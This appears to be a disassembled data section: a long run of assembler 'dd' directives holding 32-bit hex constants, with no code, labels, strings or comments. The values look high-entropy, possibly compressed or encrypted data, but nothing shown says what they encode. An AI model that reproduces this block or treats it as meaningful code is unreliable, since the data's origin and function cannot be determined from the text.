		dd 0C2F400FAh, 0BAB2B650h, 0FC00B0B4h, 1D46FDF0h, 14A49F25h
		dd 0C263186Bh, 0BF21AE00h, 3DBC9693h, 0B9607601h, 0E2EFD7C4h
		dd 6B33AD0h, 0CE75C544h, 0B0D070A4h, 6181FB04h,	0F09AAD5Fh
		dd 0EC60FD77h, 0EE0BCB18h, 0F1F500D6h, 20FF1FE7h, 0DB029FA3h
		dd 0B44D7EC5h, 0CAA880CCh, 0C4D7AC60h, 1E3B28h,	62677F72h
		dd 3CAA000Ah, 15AB548Bh, 2A03D35Fh, 73393B80h, 83BBF0E3h
		dd 0A74E0F86h, 0F58B4F49h, 6B311C80h, 72E8DAC2h, 0F1971F00h
		dd 0AF850FC4h, 0B41700ECh, 7CE65D02h, 2B00F7BFh, 668A7B89h
		dd 0F52F986h, 0A5D45FA1h, 166E1100h, 5025A27Dh,	0BB20008Ah
		dd 0B8CFF541h, 0D34F0058h, 4EA7F189h, 2600E737h, 0C073861Ah
		dd 27445C2h, 156EA440h,	0E2E03E07h, 38004DA5h, 1B50FD4Fh
		dd 0D5FAAAh, 2D6F67C0h,	70F6E0F3h, 785D9000h, 0E1952535h
		dd 80F494D3h, 9A8127C9h, 4700055Fh, 18516E48h, 7DD4CE50h
		dd 0C96617AEh, 0F0300014h, 6D238A6h, 0F323A500h, 593B43A1h
		dd 7544B0A8h, 0B79F004Ah, 17BDC427h, 500AE1Dh, 442FBDCh
		dd 1639AC9Bh, 6B0CEBh, 8D4363ABh, 995C1536h, 8F5F0094h
		dd 918AE76h, 0C7C30CA2h, 8981EF5Ch, 40006E98h, 36A86B0h
		dd 0B692CFh, 4A912B95h,	8D529CEAh, 0DE008B78h, 54F47CBBh
		dd 0C71C2Ch, 1198D9C1h,	57EC9C4Dh, 767EA70Fh, 43B441BAh
		dd 0F9CCDFC2h, 0E6C0059Eh, 802F5417h, 0E847C15Ah, 6CA8C4A3h
		dd 0A590D451h, 6F006176h, 0ADFA9654h, 7918492h,	2CFC3C72h
		dd 0A9DDA0CDh, 64004E32h, 4A762596h, 0E9C12112h, 24AEE3C0h
		dd 806C5E8Bh, 8C45E83Dh, 0B7124255h, 9BEBh, 6106C0CCh
		dd 0D26917D1h, 0A41840AFh, 1D8F7902h, 0C101C474h, 32D5248Dh
		dd 55F8C380h, 8B233208h, 74201959h, 69CB1h, 5E90B22Dh
		dd 0D15661ACh, 0AE148100h, 58DC98BFh, 2A10248Ch, 0CE3D8038h
		dd 0F4956626h, 3C004575h, 28671A1Dh, 827A8h, 7B1E83BEh
		dd 0DCC05C19h, 0FFE68805h, 0E580467Ah, 71409FEh, 9A21CD3Ah
		dd 9091327Fh, 643BA482h, 1C7C00E0h, 22D8D200h, 0AECA10D0h
		dd 2F2C002Ah, 35436D8Fh, 83188169h, 63C86708h, 937F0EE9h
		dd 0A38A0F9Dh, 31D0B84h, 0D5161A80h, 700B35Ah, 0B2DD1E54h
		dd 3AE56584h, 63009B70h, 4EBD780Ah, 547F1979h, 20F88C00h
		dd 74D897F9h, 29F31D6Fh, 79EDC05Dh, 665704A5h, 601E700h
		dd 0A3467BCCh, 0A43839B6h, 49FA1480h, 9D752A6h,	0FC8B5626h
		dd 0B3762407h, 1055B240h, 389B5874h, 0FDE51709h, 1E840429h
		dd 0B93CB06Eh
		dd 73FB27Fh, 2FD680F7h,	2409EF0Fh, 463807A2h, 52F316D8h
		dd 87014FFh, 8A888916h,	38003E17h, 9E3BE3CBh, 0A7930318h
		dd 56C7FDBAh, 0B1EF2FD8h, 9081B412h, 94A1440h, 0A41E42EBh
		dd 9AFF0DCh, 8DA94719h,	91303040h, 5D1A7500h, 805CA08Ch
		dd 0ECE0008Bh, 0A83BB4CDh, 28C0E762h, 0EF75F65Dh, 60F77210h
		dd 17E2609Ah, 34006153h, 0C482582Dh, 187632FFh,	39647E4Fh
		dd 0B0004978h, 0B2AB7B71h, 141BCF35h, 0AC84EF16h, 0A03043C9h
		dd 0A62463F7h, 69301BD5h, 4996730Dh, 0C709C0C9h, 0AC30D124h
		dd 0CB25C0Eh, 847FCF29h, 5A4EB500h, 240A06F4h, 0A89AFDh
		dd 43214C80h, 0DE0124D1h, 0B181175Dh, 844305CCh, 786D812Fh
		dd 0EC08C4h, 0E6E32CE0h, 61C66A1Eh, 0AA5EE11Eh,	38FD6F80h
		dd 3C78DD1Ah, 0E4BC0B21h, 6380FAB1h, 77C45BC9h,	0BCC1C82Ah
		dd 0EE9CB500h, 5AA37BAEh, 0B0AA009Ah, 0DCBE4F66h, 1903B2C5h
		dd 0AB1F73D0h, 6348F20Ch, 573988D8h, 9AC40A5Bh,	98FDDDh
		dd 8C15D767h, 63903598h, 6B728D01h, 0D2C3A0C6h,	94FFD421h
		dd 0F1DC88E1h, 95CD06AAh, 889DAC96h, 44AD1200h,	9F0911FDh
		dd 14EC00FBh, 0A14132AAh, 0D877E6FFh, 84EC1C4Ch, 0C510D79Fh
		dd 41C1CC00h, 7092C2DDh, 4C00C496h, 0FEC5F63Ch,	778A6E0h
		dd 0E38172FCh, 0DC7E4263h, 0B883E0BEh, 10571FF8h, 6AFDC1Ch
		dd 43E42D83h, 5C512E60h, 8FC900CEh, 0D2D68E4Bh,	4818BFEDh
		dd 0D50800F4h, 0E13C0118h, 4ED5850h, 0CFAF9600h, 0FA6A66B4h
		dd 0BC105317h, 0A9802844h, 6FAF6580h, 0F12F0073h, 0E235BE72h
		dd 0C6037661h, 4268EE9Eh, 0F088B3Ch, 637825D8h,	0F8A118DDh
		dd 0C52AAD4Bh, 353A447Fh, 406A21Eh, 42DFBF7Ah, 188462h
		dd 73EEFEA8h, 70688D4h,	0CBF24AE0h, 17DE0338h, 338821Fh
		dd 0D69642A8h, 0DBA30900h, 0C4708184h, 21F40085h, 8002B353h
		dd 8A0BCFE2h, 0FB9C74Ah, 0C0BCAFC8h, 8DD95BAh, 0E672E1h
		dd 0A3C9B0C0h, 0FAB8B364h, 6751B213h, 0C6FE8C30h, 0E24324EAh
		dd 496C00B0h, 12944E1h,	93CD7100h, 0C57E8854h, 0E5E00F31h
		dd 4E4048B8h, 959E5B2Ch, 10281C03h, 3799473h, 9DF00829h
		dd 507DE13Fh, 0E4639000h, 80361F64h, 20EC00F2h,	0FBF0CD5Eh
		dd 173DE12Dh, 0FF7707CBh, 9F9509C0h, 40BF1880h,	0EF820042h
		dd 0E612FC27h, 104FB7Ah, 959CA16Dh, 3DA3D50Fh, 6BC81DB7h
		dd 59205C81h, 1F967A60h, 662730D0h, 0B98F381Dh,	20E9DB8Fh
		dd 0B7A024AEh, 0C36908EEh, 28CF3402h, 61C097E0h, 0FBDCB450h
		dd 70F30179h, 217E62F2h, 398840CAh, 3D002F69h, 0A6E5F85Dh
		dd 7EECEF20h, 3E400A5h,	4B08865Ch, 0E700292Fh, 24678E09h
		dd 2BC1Dh, 0D878E282h, 9390791Ah, 0BFCA550Ch, 0ECEA12h
		dd 2FD4C5FBh, 0A779B5FDh, 0BAF0EB07h, 0AED002B6h, 77530DD2h
		dd 64CB0027h, 0F64136EFh, 0F4287E2Ah, 0DE00EABBh, 0F8F537CDh
		dd 78C87F85h, 0EC7607EFh, 702C9B1Bh, 6D640216h,	9F2EE902h
		dd 0C87B5F28h, 2767B628h, 18A7FD96h, 8FAE209Dh,	20E9810Ch
		dd 30036BF8h, 41FFA605h, 0C1D8C8A5h, 1B970036h,	1ACC8309h
		dd 0E100A78Fh, 9876CB60h, 370A274h, 0B53CA516h,	681385C7h
		dd 0F4206194h, 0A8AC7E2Dh, 69A2C4h, 0D7C85A26h,	0F9A17F45h
		dd 87D63424h, 0DC80F500h, 72FB61A7h, 1EA260Fh, 0FF6240B4h
		dd 46497F43h, 925F3CA8h, 78470E96h, 44102BCCh, 0D05502Eh
		dd 0AF806075h, 0F001FB88h, 0F7C1C319h, 0EFD06258h, 0EA2B0BBEh
		dd 1C00DC0Dh, 545D5371h, 0EE00E09Eh, 786C65C8h,	7CCBADFh
		dd 432F70B9h, 0C02FB2Ch, 4C00A20h, 0DD880F10h, 0A6750080h
		dd 0F4924C40h, 0B65C3D46h, 329C81ECh, 41806796h, 0F2845FA0h
		dd 0EC170EFEh, 0BC80DA24h, 0D27863h, 43AE9881h,	0C15BE2A6h
		dd 386BA0B1h, 1C65414Ch, 802FB76Dh, 8C8F083Bh, 68006EC3h
		dd 5EC0C875h, 15A5042Ah, 0A83A39E0h, 2F80D03Eh,	4193B148h
		dd 0A40EC48Eh, 153892Ah, 0DCC9DD0Eh, 0FA006863h, 0C3744109h
		dd 3E0AA8E9h, 0D3BA1B28h, 80EE2C01h, 0AC40FA43h, 294E50Eh
		dd 0F00B5B45h, 64E08AACh, 938385A4h, 43C109A2h,	9CA016D5h
		dd 556B781h, 800E09Bh, 61E7532Bh, 0F8792483h, 0ED96801Ch
		dd 334EE5B8h, 0A998A560h, 0E820E83h, 83DC6CDh, 0C77357C0h
		dd 714C7AD4h, 0B9B101F5h, 34936306h, 45C4F2EDh,	0D3FF3D65h
		dd 5136A585h, 40D01DCDh, 9DE3613Bh, 3017B22Fh, 4D00ACF5h
		dd 0F0472759h, 46D4E3D1h, 0E47600CCh, 0A1340308h, 833AA81Ch
		dd 6B54803Ch, 5AF44C04h, 3A050043h, 0F559DA81h,	4F01BCFFh
		dd 9527296Ch, 0A020D49Ch, 401C00C2h, 76FBB90Bh,	63A4846h
		dd 0CE5C1613h, 848F7840h, 702CAF8Ch, 210926Eh, 58045B33h
		dd 3B60A92Dh, 0B0A0CE47h, 4100BC0Bh, 2CABFC21h,	0DD8D34h
		dd 8B861152h, 0B718AE20h, 0D1FE9903h, 0D1F2EA8Eh, 0D8F02EBFh
		dd 0DF10007Ch, 9F1175B1h, 0BB076245h, 65FCE1A5h, 4356810h
		dd 64A100A3h, 0E9CD26A4h, 4C00E063h, 0B4E80247h, 0FAA6213Dh
		dd 1E0A000Eh, 0D73AA4EDh, 5D01C994h, 997D9CC6h,	5020EB13h
		dd 4ABC001Bh, 33E8389Bh, 0FE0FC6F5h, 52C94D3Ah,	44F61000h
		dd 48E3CADFh, 0CD0024D4h, 0FEB9D777h, 0A2009D90h, 0F7A4E0F6h
		dd 0F4BA93h, 722F66A1h,	1C171EA0h, 814B5507h, 64309939h
		dd 15ED0Fh, 0E30286B4h,	1ECA16C5h, 248710B1h, 71F0FDDEh
		dd 7A88BBC8h, 0AEF90934h, 800A00Eh, 0C133085Eh,	20008092h
		dd 78C29496h, 7BDD87Bh,	22D35669h, 0BFF55073h, 8C0021A2h
		dd 53F9BBBCh, 17B07AFFh, 178B5B3Bh, 9964C144h, 0D4CBE50Fh
		dd 450067E3h, 0D07CFC4h, 0EE84FCh, 0CE6AC078h, 6FDBBC55h
		dd 0BDAFCD3Eh, 695F00BBh, 4E342EF9h, 5DD9004Fh,	0CD3AF139h
		dd 0F8A0FB0Ch, 3300B27Dh, 0BF624BB0h, 0D0FF79h,	0A4F94F23h
		dd 487BAFEh, 0EDB85900h, 7B81681Dh, 0C42A0002h,	6EEC6CBFh
		dd 410022B7h, 0FAD04FC7h, 12CD4B33h, 1DF59981h,	7BEC524h
		dd 0E64C8041h, 50386603h, 0F1EC0760h, 0E3B02155h, 0F0AD2A9h
		dd 0E16156BBh, 506972A0h, 226719B5h, 88C06520h,	3F66BC3h
		dd 9026952Bh, 800A844h,	0E80DC431h, 2860C7h, 94A083B1h
		dd 0B6E3FD5Fh, 433D7500h, 6E5BAF41h, 0FEC1FBEh,	0C960750h
		dd 0C81BB007h, 78F4FC57h, 92950300h, 43E4E358h,	0F168C223h
		dd 1DE0944Fh, 0A35CD3E5h, 92880034h, 34AC10F7h,	50E81F9Bh
		dd 8C4C78BEh, 0EE823300h, 5C90672h, 0CA105F00h,	0D0BF534Ah
		dd 0CC8700CDh, 0B63FC7AFh, 7807A2E7h, 7A11EE83h, 8690C1B0h
		dd 75FF02AEh, 0B338A842h, 2600FCF8h, 0DB6BECC8h, 7EE98Dh
		dd 6246A2D9h, 9325D061h, 9A061100h, 0F430102Dh,	0A913052Eh
		dd 729069h, 7ED4D98Fh, 28F8603Dh, 0B84941FEh, 3C120058h
		dd 769D006h, 9A23098Bh,	7380CBE1h, 0F0142959h, 58012D4Eh
		dd 0F443CF52h, 1931878h, 9254B23Ah, 230880D9h, 0F71DE045h
		dd 7DFF1268h, 46D000Fh,	16C21FA2h, 0AD271107h, 96C0BF49h
		dd 0C35A23A7h, 6C1EB90h, 0DC24C8E8h, 0D3175D1Eh, 4BFA1180h
		dd 40D071h, 23AEF661h, 560CF207h, 9604C400h, 877A2FF1h
		dd 2BE001Bh, 0F5D18266h, 0BD17E9B4h, 88008AAEh,	1F9ED8ADh
		dd 0EC9B003Dh, 0D5038E29h, 0BA0BA225h, 1279A26h, 850F2AE3h
		dd 77191BD8h, 50206CBh,	8019093h, 80ABB938h, 0A3DB3C3h
		dd 1DEBCB40h, 0C846DFh,	0D9033AA3h, 30010C79h, 0C4D6BC4Ah
		dd 0FC2CFBB8h, 67C2F309h
		dd 260CB680h, 30F3560h,	604ED613h, 8A5FAABh, 0F02432B4h
		dd 944817FEh, 0A10020FCh, 80CF46F3h, 5838B523h,	5C74A0E7h
		dd 0E300DDEFh, 0E9E6C381h, 24BC9214h, 9FEDBD00h, 0E6FE1D1Ch
		dd 8CBA0095h, 69F00678h, 0D63B3DA5h, 0B6AC9CA4h, 112B803Eh
		dd 235EC5E1h, 0EE507FEDh, 4BA20048h, 832028A9h,	90191A4h
		dd 0F3571C84h, 5C8E929h, 4E5D48h, 1E8F257Ch, 0F52F88A0h
		dd 620E9E76h, 81E06F92h, 0C9358F31h, 0CF492189h, 8179705Ah
		dd 2A9F2900h, 43A328BBh, 7EC50F96h, 9C0514B3h, 0E770E4CFh
		dd 69426C0Eh, 0A393C177h, 48202B31h, 58B20082h,	27D02685h
		dd 0BA05F450h, 0EFC924C1h, 0C4D9ACE5h, 0CDB42440h, 12B91D73h
		dd 76B50CCCh, 64004A50h, 13F4FA29h, 408E30h, 0D68FCAC3h
		dd 0E5B40428h, 0AA0A24B4h, 0AD18D060h, 9DB5CC1h, 0CB293304h
		dd 0D4827803h, 80550825h, 4973C24h, 0C7A7035Eh,	9E220816h
		dd 274DE017h, 6CC66447h, 6FBB3540h, 3B1E00D8h, 0E710BAD3h
		dd 8004175h, 296E9440h,	0FC63AAh, 9CA4F588h, 6F4AFEC0h
		dd 4B9BE700h, 4812A18Bh, 48FD754Fh, 7C8004F1h, 0C08F3443h
		dd 0C8E99E03h, 0A1EB4EC9h, 208002B1h, 9136A7D2h, 0EC002450h
		dd 979A7057h, 0CC93761h, 8AB5D680h, 0DFFA0DC9h,	0EC047901h
		dd 5FC3F930h, 1F7491E4h, 0A909DA3h, 80F0FB2Fh, 0D34CC9B8h
		dd 72185F4Dh, 0AE19D118h, 149D07D5h, 0C0935532h, 61A5AB46h
		dd 0E0B84164h, 9C344E60h, 0C7A6C121h, 0B036C7CFh, 0F0C5C622h
		dd 0C4F2E200h, 7704F80Ah, 1471C0E1h, 2C2F252Ah,	0DC28900h
		dd 3108C8Dh, 8574FFh, 0E56D6C31h, 0FADC422Dh, 0F7E41618h
		dd 0C2A781h, 0AC2A0147h, 0B08C63E1h, 0C8AAED0Fh, 0FA98A288h
		dd 0FC0849B3h, 9E6E3EAh, 0FD5E6808h, 0C9690C23h, 22220C89h
		dd 9DF3003Ch, 7D78954Fh, 0C9CAE057h, 420C609h, 0AB4FB8D3h
		dd 0B45D8C00h, 49B7DB88h, 2A8D3D9Fh, 0BE75048Ch, 123197D9h
		dd 6AAF69FAh, 2CBB4630h, 0F3CCAE1h, 2B209C4Ah, 0FCB0C7F0h
		dd 0C0EB88C8h, 78A64FC0h, 6A589521h, 0EF4F00A0h, 1718B19Bh
		dd 5BDCAF00h, 0A4EAF605h, 510F1C92h, 0C829C22Fh, 8845A87Eh
		dd 88DC0AEBh, 0F39F8960h, 164400A3h, 12D5EB17h,	0FC90C91Bh
		dd 404EAB00h, 78EFF5FFh, 0AF843EE1h, 0C9CB7A09h, 60AEC024h
		dd 23ED049Dh, 5F11DB29h, 4C95601h, 50D62881h, 0C28BD080h
		dd 0C0136103h, 882FB022h, 5ADF202h, 9C86F9E4h, 21F7C39Ah
		dd 6BFE039h, 0F501161Eh, 63131F41h, 98607A07h, 0AD350DF7h
		dd 0EAF5FB00h, 2605D9B7h, 0DF672928h, 80CA1190h, 2AE10559h
		dd 66608C7Bh, 49542B1h,	2DEC007Dh, 34352A2Eh, 0FD7E4ACBh
		dd 80F06D51h, 0C8BC2710h, 0CAE218h, 0F205813h, 0E423A026h
		dd 407B4F2Dh, 0AD010Eh,	0DAE655FFh, 40529E2Ah, 83179600h
		dd 0D368581Bh, 0B86B0065h, 9267EE87h, 3000F425h, 5B7EB3F2h
		dd 1957D71h, 0F59ECDC9h, 60982B4Bh, 4A01F67Dh, 62B2E5B8h
		dd 0F70A88Fh, 970100D9h, 81C743CEh, 0DF0002DDh,	9B69B1E2h
		dd 0D1A62Eh, 0B262F136h, 480D5723h, 0AB160800h,	0D06492E3h
		dd 0C2E8E2h, 0EA944A60h, 0C4E5F31Eh, 0A68F3000h, 23394676h
		dd 536B0067h, 0A261204Ch, 0FE07152Bh, 6016DEA0h, 0B8A36583h
		dd 7BB7AEC2h, 27F61F81h, 311AD85Dh, 0A000D8F7h,	0BB9483FBh
		dd 7C5B0B6Dh, 7491E062h, 0D5450067h, 0AAAC2C66h, 0C91CA755h
		dd 6A8064C0h, 58A17FD7h, 259B016Eh, 55205119h, 0BB68FD1Dh
		dd 873B8638h, 0FE490EEFh, 13B53981h, 6827BE00h,	9664D5E5h
		dd 21DC8FE8h, 2513FE40h, 0EDE9291h, 4FEBE8DCh, 7F48CBA0h
		dd 303D1E3Fh, 3042B10Fh, 0F8206BBEh, 0E8DEEEh, 0EACD6880h
		dd 3319219Dh, 0CE09E776h, 0F0E0218Eh, 3250EFC0h, 0C62CAAB1h
		dd 670CA3DCh, 7A2054h, 11A8E2C4h, 22BF7CBCh, 0C9D72F00h
		dd 2CB88D58h, 777330B2h, 694C7B08h, 6154C407h, 9213BC7Ah
		dd 63000B5h, 0C97E6689h, 0F78C6D3h, 610398EEh, 0A8641BBEh
		dd 0B9E80AA3h, 1C03711h, 69DF8124h, 942CA223h, 5DE42800h
		dd 0DD03F08Bh, 0C5170E53h, 0B18FB593h, 99F2C1C6h, 0F7C4D160h
		dd 545BC843h, 737E827h,	0CA127440h, 0D533600Ch,	0B1F2CCA0h
		dd 0F5946500h, 0C2AAB824h, 9ADB00BEh, 2EEFDFC5h, 1D00FF55h
		dd 902DD9E7h, 949CC32h,	0E3128EB4h, 10D03D87h, 0A0A2784Ah
		dd 0B28ADA00h, 0F9DB5A24h, 3E931E3Bh, 4E8B82CCh, 5CC0552Ah
		dd 5A012546h, 50F3EE62h, 204ECBF1h, 4D487408h, 0C0EEFE67h
		dd 372F6322h, 1A67027h,	0BC6FC96Ah, 40ECBDE4h, 0DAA472B4h
		dd 20266801h, 0E0873C5Ah, 0B8013426h, 0FBF8E13h, 0A89D0C96h
		dd 0C00503C0h, 0FE532220h, 7838A8DEh, 0DA44832Ch, 0E87DB3B4h
		dd 7701755h, 0BA502425h, 0B04A0Bh, 5C9BEA82h, 2A1F363Fh
		dd 871073Dh, 208049BEh,	239BB2E2h, 58E4F721h, 641C6200h
		dd 204A88E1h, 0F976DAh,	0A8CC3CF3h, 0D27DE937h,	8D54A40Ah
		dd 2581E0FFh, 2E6C72AAh, 0B4621180h, 1AC713E2h,	0E07612E6h
		dd 67364000h, 0F7C5CCF8h, 28193B2Ch, 2261A412h,	6930038Ch
		dd 9DB5119Eh, 31C18C39h, 0CE03091Bh, 73003D8Fh,	754FB51h
		dd 2021BD32h, 464FDh, 0AE4F9618h, 7E3EBA49h, 9F0AE300h
		dd 7EEC8B8h, 6A3C2A44h,	0D95F00C0h, 0EC9E8442h,	0BE0306A0h
		dd 0F9CBF4D5h, 0EA4198A3h, 335768Ch, 5783CC59h,	31ED60BEh
		dd 503A9FE8h, 4D01AA8h,	0D2402E3Fh, 0CEF41C8h, 9B38EBC8h
		dd 8DE23FBh, 79002276h,	0C4EF9BC7h, 1E8E84Eh, 6E8B8559h
		dd 494592CEh, 0B906D7D0h, 0A38C060Ch, 6D484A0h,	55BDB7F8h
		dd 0A1055044h, 776BBF3Eh, 0CD5DB060h, 199D23B1h, 1784B08h
		dd 0FCCEB627h, 30589BCAh, 0A03382F9h, 700E3FACh, 227E006Ch
		dd 0EB8DDA47h, 2B003C0Ah, 0ACC84D30h, 0A1233669h, 4F18FDECh
		dd 9DC7CD0Fh, 48CCD069h, 0F10FAD79h, 2008E1CEh,	0E2078E77h
		dd 2C2D0463h, 0AC8BDAE0h, 604D028Ah, 0C8E75E6Bh, 152C518h
		dd 5171BA20h, 0F4233A19h, 0B03ED1ACh, 0DFCA9896h, 2549029h
		dd 178FB310h, 944526C7h, 1822F1E2h, 370A7B34h, 0F8CF9F6Eh
		dd 73632980h, 0B465EBh,	90AB95F1h, 721A3401h, 0DC27ED1Eh
		dd 37E65F80h, 26D4B323h, 808B7h, 1892D5DDh, 2400C40Dh
		dd 5A48D302h, 1E8A9179h, 0CE976138h, 64E18DD0h,	0F8740DE5h
		dd 7B00EC11h, 0BA2FC125h, 0B0477EA1h, 0ABE500A8h, 90A4028Bh
		dd 4309CBB4h, 0B0DD873Ah, 11153B30h, 8CD7BEA3h,	14222142h
		dd 0E9821F94h, 406AFB16h, 72EBD530h, 4800CC76h,	9AEA35B1h
		dd 0F2C6BB71h, 0DB2F19FEh, 229E4158h, 742E0080h, 59998EF0h
		dd 0CED8021Ah, 278C391Bh, 75A19460h, 1E43CC00h,	0C47B5906h
		dd 6D22132Eh, 8EC6F9Bh,	8823EBDEh, 84D4651Ch, 0EC934D20h
		dd 121682C0h, 4CB9D15Fh, 0B6A18F00h, 865CD79Dh,	93F244h
		dd 51D1A7E9h, 0BA8ED0D9h, 0A37F6300h, 30AF88E0h, 5BFB2A9Dh
		dd 0E4531C98h, 5D5C8068h, 3B2BCEB0h, 32E72118h,	7950AE21h
		dd 0B60B286Ah, 49059E8h, 365450h, 6956BEF2h, 751A464Ah
		dd 2F6E720Bh, 0C9AC07FEh, 2749841Eh, 25416C80h,	46B704E5h
		dd 91ED9AC4h, 0ECCEE7C4h, 320C18BEh, 1903BD27h,	0A8C5F869h
		dd 0C04F5AE4h, 0F6BF08D9h, 6900240Ch, 0B3DA5BE3h, 9901EA3Fh
		dd 0F6F0FE0h, 0D5772840h, 17034F65h, 0A11BF025h, 0F70EC884h
		dd 0D8EE4CC5h, 0FD7040h, 0E225930Dh, 0A6E06E26h, 1E0B9971h
		dd 91A8D203h, 2C23402Ch
		dd 5B3E8C00h, 96BF2F09h, 86FDD00h, 0DCEA599Dh, 0D2B615EDh
		dd 0CB0E70A3h, 2E4090B5h, 0ADEEAA54h, 39493860h, 88405Ch
		dd 0E9BBF385h, 0C6FE1186h, 8EAD8300h, 642CC581h, 963E28ACh
		dd 172B38DDh, 0CF9B93h,	50DF85FDh, 4212D8B6h, 94401805h
		dd 0CB3C538Ah, 0BAC503BCh, 3BAD894Ah, 0F767100h, 52E16E57h
		dd 0F2704Bh, 2B538FE5h,	0AD5973ECh, 0B6BD3C00h,	25A8C528h
		dd 2A1C00D4h, 0BC696D5h, 0BA035DB2h, 3C2BADDBh,	3633E069h
		dd 28DF3Fh, 0DE2E83E7h,	8E68EFCh, 0F9EEC401h, 0FAE67B05h
		dd 4780A4DFh, 0BBDB83h,	42172291h, 65250BF7h, 6E3E371Fh
		dd 0FF3AA440h, 0CBB5A7h, 64912611h, 0EB50E731h,	0B68D7F00h
		dd 0E519C221h, 0CE220045h, 7B25DD84h, 0E1079B43h, 2487A43Bh
		dd 0A7F1D410h, 6AB43F9Eh, 0C7AACF00h, 385A90AEh, 0E0B0F70Fh
		dd 0E9AF803Fh, 7A53DE94h, 0B1FC3E18h, 2C28D506h, 0F60018DAh
		dd 98AE477Fh, 0E4174682h, 0FC20C19Ah, 0F4DE951Fh, 51E6449Bh
		dd 0B0739D06h, 3B109EC2h, 0A087A90Fh, 0F39084F6h, 8798F4Ch
		dd 198C31C0h, 0F2C340Ah, 0C01CD3A3h, 0BD0BEA80h, 1463EEFDh
		dd 0C6099FA0h, 0DCA70030h, 6F91BA0Ah, 0BC00F838h, 24CCB5A1h
		dd 7B7E77h, 3398CBC1h, 0EA9F290Fh, 0C80A5600h, 48D4A34Fh
		dd 0C6FA4Ch, 6B94DDCBh,	0EB8B2B35h, 3D1C9E26h, 47889300h
		dd 0AA61FAh, 7E801360h,	339EDCE7h, 0D7657A03h, 0EB07F562h
		dd 0F6BDB096h, 0CDD32404h, 6C8430A8h, 320195A3h, 68987638h
		dd 0D8F31A64h, 4C082F97h, 1407277Ah, 699A7C51h,	0C1204907h
		dd 0C89D4513h, 24F0D23Eh, 5B39A800h, 1A6C46B2h,	0A48C00F3h
		dd 9316371Ch, 5E3084D3h, 0B8DA5078h, 53501F19h,	6CDD4060h
		dd 6FD1E359h, 0F324850Ah, 1C01CCC2h, 1B4219Dh, 0F94CCECCh
		dd 1F78F9F4h, 0FFB4D53h, 9F00D9BCh, 7279CFE5h, 0A18BD100h
		dd 0A59CF337h, 0EB30075Ch, 0E361B4C9h, 0BFE14DDEh, 70F0B2ABh
		dd 3704981Dh, 3BFE0725h, 54CEAFh, 0BECCE19Ah, 8084D8CFh
		dd 5C17D19Dh, 0D9F30022h, 4F72F12Bh, 0AF038188h, 0E44A7C62h
		dd 3073A6h, 35686469h, 0EDEBEA6Ch, 2FBC7D00h, 2AFCCDB5h
		dd 55177453h, 71D428B8h, 1B19CAFEh, 70D211C0h, 51601D76h
		dd 440CD4A9h, 60A6A2h, 8E49CD1Fh, 86BF848Ah, 5B3FD11Bh
		dd 35298858h, 9000825Ch, 0B54A31DFh, 0D4AAA92Ch, 2B8CCD06h
		dd 15C0EE79h, 7C9D4E6Ch, 0D84622Bh, 0E3796D58h,	0B03F4A90h
		dd 118418D0h, 9A0082A3h, 21FB7D59h, 530AA224h, 486DD179h
		dd 8A8346B8h, 49009F69h, 3989A0A6h, 0F3236Ch, 225DC255h
		dd 37B99216h, 2EBA406h,	3FA9B2C4h, 4EA833E7h, 0B8C20018h
		dd 83EBD668h, 22AE2BFh,	0E61BD434h, 0C939FB4Ah,	0CB4785D0h
		dd 0B1D16410h, 0C3CCA016h, 0F4443063h, 0EAB3A011h, 0A92C2FB0h
		dd 1B155A2Ch, 0C73ABCh,	8FB8A13Ah, 707B4EAh, 9AD6295h
		dd 0DC4D8164h, 0A3B2EC55h, 14EBA90Bh, 13A183DAh, 4A4EE029h
		dd 0B4451A73h, 0DC0269F5h, 0D90059E6h, 0ADAB8DDh, 0A9B6B0CDh
		dd 0EA784DA0h, 0F2B450C0h, 0E0010092h, 915458D4h, 78F45FFCh
		dd 0A063600Bh, 4180B4CAh, 57E9B71Eh, 0E3212405h, 23668444h
		dd 1A4EC081h, 12ABDAD0h, 18A70D17h, 5DF560CDh, 0AFA0B640h
		dd 343E9040h, 403268ACh, 6BA900C5h, 0A0DFC62Fh,	82C1F51Eh
		dd 0D96C4021h, 323AC824h, 8A212AF6h, 0E51054ACh, 1ABC2250h
		dd 28F7FE88h, 4DDD2131h, 4C7E60EDh, 0FA0F50A2h,	0B158D173h
		dd 0ADECF9E7h, 7310E94Dh, 1A1F0CA8h, 59B22184h,	83F5BB09h
		dd 681F6628h, 5F04A0C9h, 240E98D4h, 76CA4E5h, 0D5478478h
		dd 0F9248713h, 8E29E00Ch, 3962D137h, 65201ACEh,	0A59101A8h
		dd 80C81F1Ch, 3EF96C41h, 6016E9Dh, 0DAEA4A5Bh, 864908B7h
		dd 332F0EC8h, 9EBE019Dh, 98EF6549h, 637B6875h, 0AF7861FEh
		dd 0B0BAA900h, 6415FB2Bh, 778B3E9Dh, 0EA5B380h,	75B233CFh
		dd 0FF5EA601h, 209F9CA3h, 173D4181h, 0C1861210h, 8CAED16Fh
		dd 20A39709h, 406075Dh,	16DAD0Bh, 80FC7B0Fh, 13B82B71h
		dd 160D23Fh, 0E8F8A2E4h, 22468479h, 6A2417D8h, 0C1A25432h
		dd 4FD57B30h, 0C0D52180h, 42CFAD44h, 745F5C00h,	64A7A4B4h
		dd 20EE01BBh, 799AB5B2h, 8D6C7045h, 3A692309h, 3F0C80E0h
		dd 0C3C016h, 8FED5B7Dh,	0C2E5DB70h, 4FAE830Ah, 3180B078h
		dd 0F06E44F9h, 84E898EEh, 4A3913ACh, 408C132Eh,	0A2C787F0h
		dd 0B600B216h, 14213844h, 1EA6E26Ah, 0C2617F17h, 7B5403E6h
		dd 0A0030C44h, 1CF9D8B2h, 82CB25h, 41C4C059h, 4A470A0Eh
		dd 0B750EC17h, 5A1E9C30h, 5BBE2A6Ch, 0D8C0080h,	9EEA69DDh
		dd 0DF1DFCE8h, 5D18EBB6h, 5CD0F21h, 9A364CE0h, 6568C01Bh
		dd 5124D5DFh, 215E2497h, 9A821D5Ch, 41DB11A2h, 8112E5Ch
		dd 0FDCC4041h, 0C93C1A3h, 4F100201h, 8185879h, 3E217688h
		dd 0CF009DD6h, 0E344952Bh, 9A24029Bh, 20020A49h, 0A081CB15h
		dd 52F022B0h, 0C09700C5h, 1EF7B98Fh, 0C91287BAh, 0B8207C84h
		dd 3D2396Eh, 0E4F32D6Ah, 0BBE0930Ch, 625084E6h,	76008F4Ch
		dd 99ED4E61h, 433C5BEh,	803B54E5h, 0D748058h, 0A20DD449h
		dd 596A8A8Fh, 0C221B7CCh, 7B387D41h, 36145846h,	82AC5E19h
